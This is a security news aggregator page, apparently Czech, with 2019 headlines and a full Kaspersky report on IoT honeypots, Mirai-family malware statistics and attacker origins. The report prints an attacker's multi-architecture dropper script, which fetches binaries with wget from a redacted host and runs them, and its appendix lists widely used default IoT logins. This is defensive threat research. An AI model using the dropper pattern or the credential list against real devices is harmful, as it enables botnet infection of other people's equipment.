Viry a Červi

Sudo Bug Opens Root Access on Linux Systems

VirusList.com - 29 min 42 sek zpět
The bug allows users to bypass privilege restrictions to execute commands as root.
Kategorie: Viry a Červi

Ye olde Blue Screen of Death is back – this time, a bad Symantec update is to blame

The Register - Anti-Virus - 1 hodina 1 min zpět
The wrong kind of intrusion protection

Symantec has acknowledged an issue with an update to its Endpoint Protection Client that causes a Windows kernel exception after users this morning came down with a mild case of Blue Screen of Death.…

Kategorie: Viry a Červi

Update now! Windows users targeted by iTunes Software Updater zero-day

Sophos Naked Security - 4 hodiny 19 min zpět
The flaw is a rare ‘unquoted path class’ described as "so thoroughly documented that you would expect programmers to be well aware..." But that's not the case.

Pitney Bowes Hit with Ransomware Attack

VirusList.com - 4 hodiny 20 min zpět
The attack left customers unable to access key services for shipping and mailing, the company said.
Kategorie: Viry a Červi

A Deepfake Deep Dive into the Murky World of Digital Imitation

VirusList.com - 4 hodiny 24 min zpět
Deepfake technology is becoming easier to create – and that’s opening the door for a new wave of malicious threats, from revenge porn to social-media misinformation.
Kategorie: Viry a Červi

Facebook’s Libra cryptocurrency loses all but one payment company

Sophos Naked Security - 4 hodiny 25 min zpět
Gone: Mastercard, Visa, PayPal, eBay, Stripe, Mercado Pago. Of six payments firms first involved in Libra, just one, PayU, remains.

Apple says Tencent isn’t snooping on your browsing habits

Sophos Naked Security - 5 hodin 38 min zpět
Apple was quick to allay user concerns this weekend after someone spotted that it was working with Chinese company Tencent to check its users' website requests for malicious URLs.

350+ hackers hunt down missing people in first such hackathon

Sophos Naked Security - 5 hodin 42 min zpět
Organizers said 100 leads were generated every 10 minutes by contestants using OSINT - open-source intelligence such as online searches.

IoT: a malware story

Kaspersky Securelist - 6 hodin 24 min zpět

Since 2008, cyber-criminals have been creating malware to attack IoT-devices, such as routers and other types of network equipment. You will find a lot of statistics on this on Securelist, most notably, here and here. The main problem with these IoT/embedded devices is that one simply cannot install any kind of security software. How do we deal with that?

The best option for tracking attacks, catching malware and getting an overview of attacks in this area is to use honeypots.

About honeypots

There are three common types of honeypot:

  • Low-interaction honeypots. These simulate services such as Telnet, SSH and web servers. The attacker or attacking system is tricked into thinking it is a real vulnerable system and running its malicious commands and payload.
  • High-interaction honeypots. These are real systems that require additional steps to restrict malicious activities and avoid compromising further systems, but it has the advantage of actually running a fully POSIX-capable system. This means that any future attempts to identify the hosts using techniques not already emulated by low-interaction honeypots will fail, thus making the attacking scripts believe it is a real device.
  • Medium-interaction honeypots. These are combinations of the two that offer more functionality than low-interaction honeypots but less than high-interaction honeypots.

Ideally, it is best to operate only high-Interaction honeypots. Unfortunately, due to the high volume of attacks, these types of honeypots cannot scale, and the environment needs to be reset for every new connection. As such, medium-interaction honeypots are the type most commonly used, and the most popular open-source projects are Cowrie and Dionaea.

We work with all three types of honeypots, and we have even created a different type, the sensor honeypot, which we will cover below.

Honeypot deployment

Working with honeypots implies taking security into consideration at every step. A system vulnerable to attack or a system under attack can put you and others at risk.

A major step when running honeypots is planning a network layout before getting the honeypots running. This includes defining what activities should be monitored, and how data is collected and processed. Over the past years, we have created a honeypot infrastructure, extending and improving it continuously. We created our own modular approach to this, to deal with system management, updates and data processing. The main idea is to be able to deploy multiple honeypots with ease to try to keep maintenance costs as low as possible.

Residential vs. “Corporate” IP addresses

Our telemetry data suggests that smart botnet operators check the network AS name and tend to target only IP addresses belonging to internet service providers supplying Internet connection to home users. The reason is simple: if there is a router showing up on an Amazon/DigitalOcean-owned IP, this might be a sign that the machine could be a VPS (virtual private server), rather than a SoHo Router sitting inside somebody’s home.

Using the same IP address for a long time

Cycling through IP addresses is quite important. Botnet owners try to monitor honeypots on their own, so after some time, public IP addresses may get flagged by cybercriminals, which results in fewer attacks. Furthermore, we believe there are lists of “honeypot IPs” traded in darknet markets.

Fingerprinting honeypots

Multiple malware families use specific valid commands that are not fully emulated by some honeypots, in order to detect them. Attackers constantly change their fingerprinting methods to bypass the anti-anti-VM techniques. These techniques are implemented in order to check if attackers are trying to probe the honeypot and will return fake data to make the honeypot look real. For example, one malware family reads the contents of /proc/cpuinfo in order to find out the processor type and family. Most Cowrie deployments use the same CPU architecture.

Handling heavy loads

Exposing a popular port (for example, 21. 22. 23. 80) to the Internet will almost immediately attract connection attempts from various hosts, and the longer that port stays open, the more bots will try to “infect” the service. For a static IP address running the same service for more than twelve months, the “infection rate” (the number of sessions trying to infect our honeypot host with malware) was around 4,000 every 15 minutes. The offending IPs are not unique and, from our experience, one attacker attempts to infect a machine multiple times.

A large number of connections generates a lot of stress on both the network and the honeypot emulation stacks. From our experience, we noticed that Cowrie can handle around 10,000 simultaneous sessions per instance. For heavily-loaded honeypots, the solution would be to load-balance the attacking connections at the kernel layer into multiple Docker instances, which can be easily implemented using the kernel’s netfilter module.

Results

So far, we have collected results in our production environment for more than one year. We have deployed more than 50 honeypots around the world, with 20,000 infected sessions every 15 minutes. Below are our results, based on the aggregated data.

Statistics: Telnet

In the first half of 2019, our Telnet honeypots detected a total of more than 105 million attacks that originated with 276,000 unique IP addresses. Compare that with 12 million attacks, originating with 69,000 IP addresses, detected year-on-year in 2018. We are looking at a steady trend for an increase in repeat attacks from attackers’ IP addresses, suggesting increasingly persistent attempts at infecting devices previously known to the attackers.

While Brazil and China remained the leaders in terms of unique IP addresses that served as the origin of Telnet password brute-forcing attacks in the first half of 2019, China took the lead when compared with 2018 year-on-year, with around 30 percent, whereas Brazil was second with 19 percent. Egypt, Russia and the United States were third, fourth and fifth, respectively.

H1 2018 H1 2019 Brazil 28% China 30% China 14% Brazil 19% Japan 11% Egypt 12% USA 5% Russia 11% Greece 5% USA 8% Turkey 4% Vietnam 4% Mexico 4% India 4% Russia 3% Greece 4% South Korea 3% South Korea 4% Italy 2% Japan 4%

Countries that were the sources of Telnet attacks on Kaspersky Laboratory honeypots

Top 10 IoT threat verdicts

It should come as no surprise that most of the positions are occupied by various Mirai modifications: these use exploits, targeting devices that have Telnet turned off. Consider, too, that the malware has been publicly available for a long time, and its code is versatile enough for compiling bots of any level of complexity, for any hardware configuration.

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TOP 10 IoT threat verdicts, first half of 2018

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TOP 10 IoT threat verdicts, first half of 2019

The statistics were collected from a specially designated group of honeypots that was not touched by the infrastructure changes (no new devices were added), so the statistics relied on the activity of infected devices only. A session stands for a successful password brute-forcing attempt.

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An analysis of logs from an isolated group of honeypots points to a steady trend for a year-on-year decrease in attacker IP addresses but an increase in the number of attacks. The number of active infected devices remains high: tens of thousands of devices attempt to spread malware by both brute-forcing passwords and exploiting various vulnerabilities every month.

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Unique IP addressed detected as the origin of attacks on the isolated honeypot group, January through June 2018

Statistics: credentials

Especially in the IoT area, Telnet, SSH and web servers are the most common services available and, therefore, the most-attacked ones. For Telnet and SSH, we store not only malicious payloads but also initial login credentials. This data enables us to identify targeted devices due to the default username/password combinations mainly used by the attackers.

We collected the most widely used username and password combinations for Q3 and Q4 2018, and Q1-Q3 2019; you can find them all in the Appendix. The most common combination by far is “support/support”, followed by “admin/admin”, “default/default” and “root/vizxv”. The first three entries are self-explanatory, but the fourth one is quite interesting: it is the default password for a vulnerable IP camera, as described in Kreb’s blog.

New cameras are probed every quarter as exploits are released into the wild. For example, in Q1 2019, we observed bots trying to infect specific Gpon routers using a specific hard-coded password. Our colleagues at TrendMicro wrote about this at the end of 2018.


Identifying collected credentials for Q3 2018 (left), Q4 2018 (center) and Q1 2019 (right)

Statistics: malware

While common computers usually run on Intel or AMD CPUs (little-endian x86 or x86_64), embedded IoT devices use a broader range of CPU architectures supplied by multiple vendors.

While classifying our samples, we noticed that we had files using both endianness types, designed to be executed on multiple CPU architectures, such as ARM, Intel x86 and MIPS.

Below is a table with all types of samples we collected.

A well-known method used by attackers, once they get access to a device, is to try and deploy their malware for all architectures without any checks. This approach works because only one binary will be executed correctly. Luckily for us, this allows us to grab all the links and download all the samples.

Below is an example of such a script.

#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mips; chmod +x mips; ./mips; rm -rf mips cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sh4; chmod +x sh4; ./sh4; rm -rf sh4 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/x86; chmod +x x86; ./x86; rm -rf x86 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv7l; chmod +x armv7l; ./armv7l; rm -rf armv7l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv6l; chmod +x armv6l; ./armv6l; rm -rf armv6l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i686; chmod +x i686; ./i686; rm -rf i686 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc; chmod +x powerpc; ./powerpc; rm -rf powerpc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i586; chmod +x i586; ./i586; rm -rf i586 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/m68k; chmod +x m68k; ./m68k; rm -rf m68k cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sparc; chmod +x sparc; ./sparc; rm -rf sparc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv4l; chmod +x armv4l; ./armv4l; rm -rf armv4l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv5l; chmod +x armv5l; ./armv5l; rm -rf armv5l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc-440fp; chmod +x powerpc-440fp; ./powerpc-440fp; rm -rf powerpc-440fp

Besides username/password combinations, the type of architecture being targeted is an additional characteristic that helps us to identify other potentially targeted devices.

Attacking countries and networks

The top three countries probing our honeypots were China and Brazil, followed by Egypt and Russia, the latter two 0.1 percent apart. The trend seems to be consistent throughout 2018 and 2019, with slight changes in country rankings.

Below are the top 20 most active attackers and their ASNs, based on attacker IP analysis.

IP ASN country Sessions 198.98.*.* FranTech Solutions (53667) United States 9850914 5.188.*.* Global Layer B.V. (49453) Ireland 8845554 46.101.*.* DigitalOcean, LLC (14061) Germany 6400293 5.188.*.* Global Layer B.V. (57172) Russia 5687846 5.188.*.* Global Layer B.V. (57172) Russia 5668684 5.188.*.* Global Layer B.V. (57172) Russia 5651793 104.168.*.* Hostwinds LLC. (54290) United States 5208208 5.188.*.* Global Layer B.V. (57172) Russia 5183386 5.188.*.* Global Layer B.V. (57172) Russia 4999999 5.188.*.* Global Layer B.V. (49453) Ireland 4997344 5.188.*.* Global Layer B.V. (57172) Russia 4996561 198.199.*.* DigitalOcean, LLC (14061) United States 4731014 68.183.*.* DigitalOcean, LLC (14061) United States 4654696 104.248.*.* DigitalOcean, LLC (14061) United States 4509490 5.188.*.* Global Layer B.V. (49453) Ireland 4413067 88.214.*.* FutureNow Inc. (201912) N/A 4210692 5.188.*.* Global Layer B.V. (49453) Ireland 4209439 134.19.*.* Global Layer B.V. (49453) Netherlands 4206674 185.244.*.* 3W Infra B.V. (60144) Netherlands 4181413 5.188.*.* Global Layer B.V. (49453) Ireland 4128155 Infected sessions

Starting in 2018, we have present two metrics in our data: “all sessions” and “infected sessions”. An infected session is one where there was at least one malware file requested, or dropped, from the Internet. A non-infected session might be one initiated by mistake by a legitimate user, via a mistyped IP address, or by a robot scanning the Internet. We have seen a steady increase in all sessions (Telnet, SSH, web, etc.) opened on our honeypots, and the more honeypots we add to our network, the more traffic we observe, which means that attackers are constantly scanning the Internet in order to infect new devices. In most cases, infected devices are the ones scanning for new hosts on the Internet.

Malware families: 2018 vs. 2019

In terms of detected hashes, we have seen a few changes in top samples trying to attack our honeypots. Overall, in 2018 as well as 2019, Mirai remained the most popular malware family with over 30,000 samples detected in 2018 and almost 25,000 samples detected in the first half of 2019. While the Hajime malware, thoroughly researched by Kaspersky and by Symantec in 2017, was quite active during its prime years, it is almost non-existent on our 2019 charts.

Instead, we have seen an increase from well-known malware families, NyaDrop and Gafgy, trying to infect newer devices.

Below are our Top 10 samples detected in Q1 2018 and Q1 2019.

Q1 2018 Q1 2019 Backdoor.Linux.Mirai.c 23454 (50.46%) Trojan-Downloader.Linux.NyaDrop.b 24437 (38.57%) Trojan-Downloader.Linux.Hajime.a 8657 (18.62%) Backdoor.Linux.Mirai.b 13960 (22.06%) Backdoor.Linux.Mirai.b 3566 (7.67%) Backdoor.Linux.Mirai.ba 7664 (12.11%) Trojan-Downloader.Linux.NyaDrop.b 3523 (7.58%) Backdoor.Linux.Mirai.ad 1224
(1.92%) Backdoor.Linux.Mirai.ba 2468 (5.31%) Backdoor.Linux.Mirai.au 1185
(1.87%) Trojan-Downloader.Shell.Agent.p 502 (1.08%) Backdoor.Linux.Gafgyt.bj 872 (1.38%) Trojan-Downloader.Shell.Agent.as 426 (0.91%) Trojan-Downloader.Shell.Agent.p 659 (1.04%) Backdoor.Linux.Mirai.n 348 (0.74%) Backdoor.Linux.Gafgyt.az 468 (0.74%) Backdoor.Linux.Gafgyt.ba 339 (0.72%) Backdoor.Linux.Mirai.c 455 (0.72%) Backdoor.Linux.Gafgyt.af 279 (0.60%) Backdoor.Linux.Mirai.h 434 (0.68%) Uberpot

Besides the common honeypots that listen on specific ports, we have also created a multi-port honeypot, named “uberpot”. The idea is simple: the honeypot listens on all TCP and UDP ports and accepts connections, and logs data received and meta information. The main objective is to identify new attack vectors, and attacks on other services and ports, e.g. due to new devices or vendor-specific port configurations.

TCP is clearly king in terms of attacker services, even though we still see some UDP/ICMP traffic directed to our uberpot instances.

In terms of infected sessions, we get hit by around 6,000 daily, but in January 2019, we noticed a spike in traffic with more than 7,500 daily sessions hitting random TCP ports.

In terms of other protocols, UDP and ICMP traffic is quite insignificant compared to TCP. We do not monitor other “exotic” protocols, such as DCCP, SST or ATP.


Attacked protocols on Uberpot

So far, mostly TCP-services have been attacked. Remote Administration Services such as SSH, Telnet, VNC and RDP have been a popular target, in addition to databases and web servers.


Attacked protocols on Uberpot

We continue to improve our systems and sensors, and expand our infrastructure to monitor threats and help protect against these.

Honeypots-as-a-Service

A constant issue for security researchers is new sources of malware, data and infections. As a company or security team, you want to have full visibility into what hosts are attacking you and what kind of services attackers are going after. Apart from traditional defense mechanisms, log monitoring and training, deploying honeypots in key parts of your public or private infrastructure can also help in identifying ongoing probes into your network.

The main issues when running a large network of honeypots is maintenance, aggregation and processing of logs and bug fixing. We solve these problems by moving all honeypots into a dockerized infrastructure. This means that the front-facing hosts require very low resources: a node can run on a Raspberry PI.

Our solution is simple: we offer Docker image/install scripts that forward malicious traffic aimed at “vulnerable” ports back to our infrastructure through a Wireguard UDP tunnel. We call these machines “nodes” and, as mentioned before, a node can even run on a Raspberry PI. Once you install a machine like that, all you need to do is redirect the ports you want to monitor towards it. You can directly assign public IPs, as some of our partners do, or even do DNAT (port forwarding) only for the ports you are interested in.

Once traffic hits your node, it is sent to our aggregator, where a Docker machine handles it and responds. We then generate statistics and all required data on the aggregator.

For more information about our infrastructure, please check out our SAS 2019 video.

Conclusion

While the trend for IoT-specific malware is growing as the IoT landscape expands into more and more areas, we will continue to extend our detection and research capabilities. Awareness is a key element along with defense technologies based on analysis and following trends.

One way to stay on top of attackers is to ingest dedicated feeds for IoT threats. For example, we offer such feeds on our Threat Intelligence platform.

If you are interested in starting a research partnership with Kaspersky and running honeypots on your unused IP addresses, please get in touch with us at honeypots@kaspersky.com. We are happy to partner with you to deploy our Honeypot-as-a-Service prototype.

As explained in the “Honeypots-as-a-Service” section, we aggregate, correlate and cluster all incoming connections and all processed data is made available to you almost in real time.

Appendix

List of passwords for recent quarters:

Q3 2018 username password count support support 2627805 root vizxv 2376654 admin admin 2359985 root default 2355762 default S2fGqNFs 2140316 default OxhlwSG8 1683879 root xc3511 1451906 root anko 1365481 root 7ujMko0admin 1336390 root admin 1281745 root 12345 1273103 root password 1239467 user user 1238778 telnet telnet 1171306 root hunt5759 1136995 default <empty> 1058371 root root 995550 admin admin1234 977147 root 1001chin 932786 Q4 2018 username password count support support 703515 root vizxv 583926 admin admin 547302 root default 429091 default S2fGqNFs 423178 default OxhlwSG8 377638 root 7ujMko0admin 297929 telnet telnet 292827 root password 283462 root xc3511 281053 root 1001chin 276828 root 12345 273787 default <blank> 268606 root admin 264256 root hunt5759 258697 root anko 256498 user user 251272 guest 12345 246927 root root 218373 root <empty> 192910 Q1 2019 username password count support support 2627805 root vizxv 2376654 admin admin 2359985 root default 2355762 default S2fGqNFs 2140316 default OxhlwSG8 1683879 root xc3511 1451906 root anko 1365481 root 7ujMko0admin 1336390 root admin 1281745 root 12345 1273103 root password 1239467 user user 1238778 telnet telnet 1171306 root hunt5759 1136995 default <empty> 1058371 root root 995550 admin admin1234 977147 root 1001chin 932786 root <empty> 870276 Q2 2019 username password count default default 2523832 admin admin 2030987 root 7ujMko0admin 2023333 root vizxv 1842271 root default 1803912 admin password 1671593 default <blank> 1656853 default OxhlwSG8 1524072 default S2fGqNFs 1497600 root “taZz@23495859” 1402338 root zyad1234 1116542 admin aquario 1103479 default tlJwpbo6 1065423 admin admin123 1028715 guest 12345z 819617 guest 12345 757875 admin synnet 637017 guest guest 487789 guest <empty> 461508 guest 123456 460613 Q3 2019 username password count default default 4211802 admin admin 3692028 root vizxv 3174770 root default 3094578 root “taZz@23495859” 2964442 default <blank> 2897669 root tsgoingon 2341043 root 7ujMko0admin 2340426 admin aquario 2316776 admin admin123 2278549 admin password 2103600 default OxhlwSG8 2074258 default S2fGqNFs 1983527 default tlJwpbo6 1519887 guest 12345 1105911 guest 123456 991206 guest guest 937530 admin synnet 920939 guest admin 694245 guest <empty> 614275

Sudo? More like Su-doh: There's a fun bug that gives restricted sudoers root access (if your config is non-standard)

The Register - Anti-Virus - 14 Říjen, 2019 - 23:14
All it takes is -u#-1 ... Wh%& t#e fsck*?

It's only Monday, and we already have a contender for the bug of the week.…

Kategorie: Viry a Červi

Apple insists it's totally not doing that thing it wasn't accused of: We're not handing over Safari URLs to Tencent – just people's IP addresses

The Register - Anti-Virus - 14 Říjen, 2019 - 22:05
Cupertino in China Syndrome meltdown

Responding to concern that its Safari browser's defense against malicious websites may reveal the IP addresses of some users' devices to China-based Tencent, Apple insists that Safari doesn't reveal a different bit of information, the webpages Safari users visit.…

Kategorie: Viry a Červi

Pitney Bowes: Can we be frank? Ransomware has borked our dead-tree post systems

The Register - Anti-Virus - 14 Říjen, 2019 - 21:12
Venerable stamp-machine maker stalled by server infection

Pitney Bowes, the US stamping meter maker, has been infected with ransomware, leaving customers unable to top-up their equipment with credit nor access the corporate web store.…

Kategorie: Viry a Červi

Tearoff of Nottingham: University to lose chunk of IT dept to outsourcing

The Register - Anti-Virus - 14 Říjen, 2019 - 14:59
Cos that's always gone really well...

Exclusive  The University of Nottingham has announced it will outsource some of its IT operations in a long-awaited shakeup of the department.…

Kategorie: Viry a Červi

Analysis of malware responsible for sextortion spam that mines for Monero on the side

Virus Bulletin News - 14 Říjen, 2019 - 14:32
VB2019 Platinum partner Reason Cybersecurity presents a threat analysis report on the Save Yourself malware.

Read more
Kategorie: Viry a Červi

Apple Shares Some Browsing History with Chinese Company

VirusList.com - 14 Říjen, 2019 - 14:22
The company acknowledged it’s using ‘safe browsing’ technology from Tencent, which has ties to the Chinese government.
Kategorie: Viry a Červi

Stalker found pop star by searching eyes’ reflections on Google Maps

Sophos Naked Security - 14 Říjen, 2019 - 14:15
A man confessed to stalking and attacking a young pop star by zooming in on the reflections in her eyes from selfies.

Soldering spy chips inside firewalls is now a cheap hack, shows researcher

Sophos Naked Security - 14 Říjen, 2019 - 14:01
The tiny ATtiny85 chip doesn’t look like the next big cyberthreat facing the world, but sneaking one on to a firewall motherboard would be bad news for security were it to happen.

Computing enthusiast cracks ancient Unix code

Sophos Naked Security - 14 Říjen, 2019 - 13:45
Old passwords never die... they just become easier to decode.

Hacker wants $300 for 250,000 records stolen from sex worker site

Sophos Naked Security - 14 Říjen, 2019 - 13:33
In spite of prostitution being legal in the Netherlands, this could lead to the same type of blackmail attempts/suicide from Ashley Madison.

Monday review – the hot 20 stories of the week

Sophos Naked Security - 14 Říjen, 2019 - 11:48
From hackers bypassing 2FA to an Android zero day Google thought it had fixed - get yourself up to date with everything we've written in the last seven days. It's weekly roundup time.
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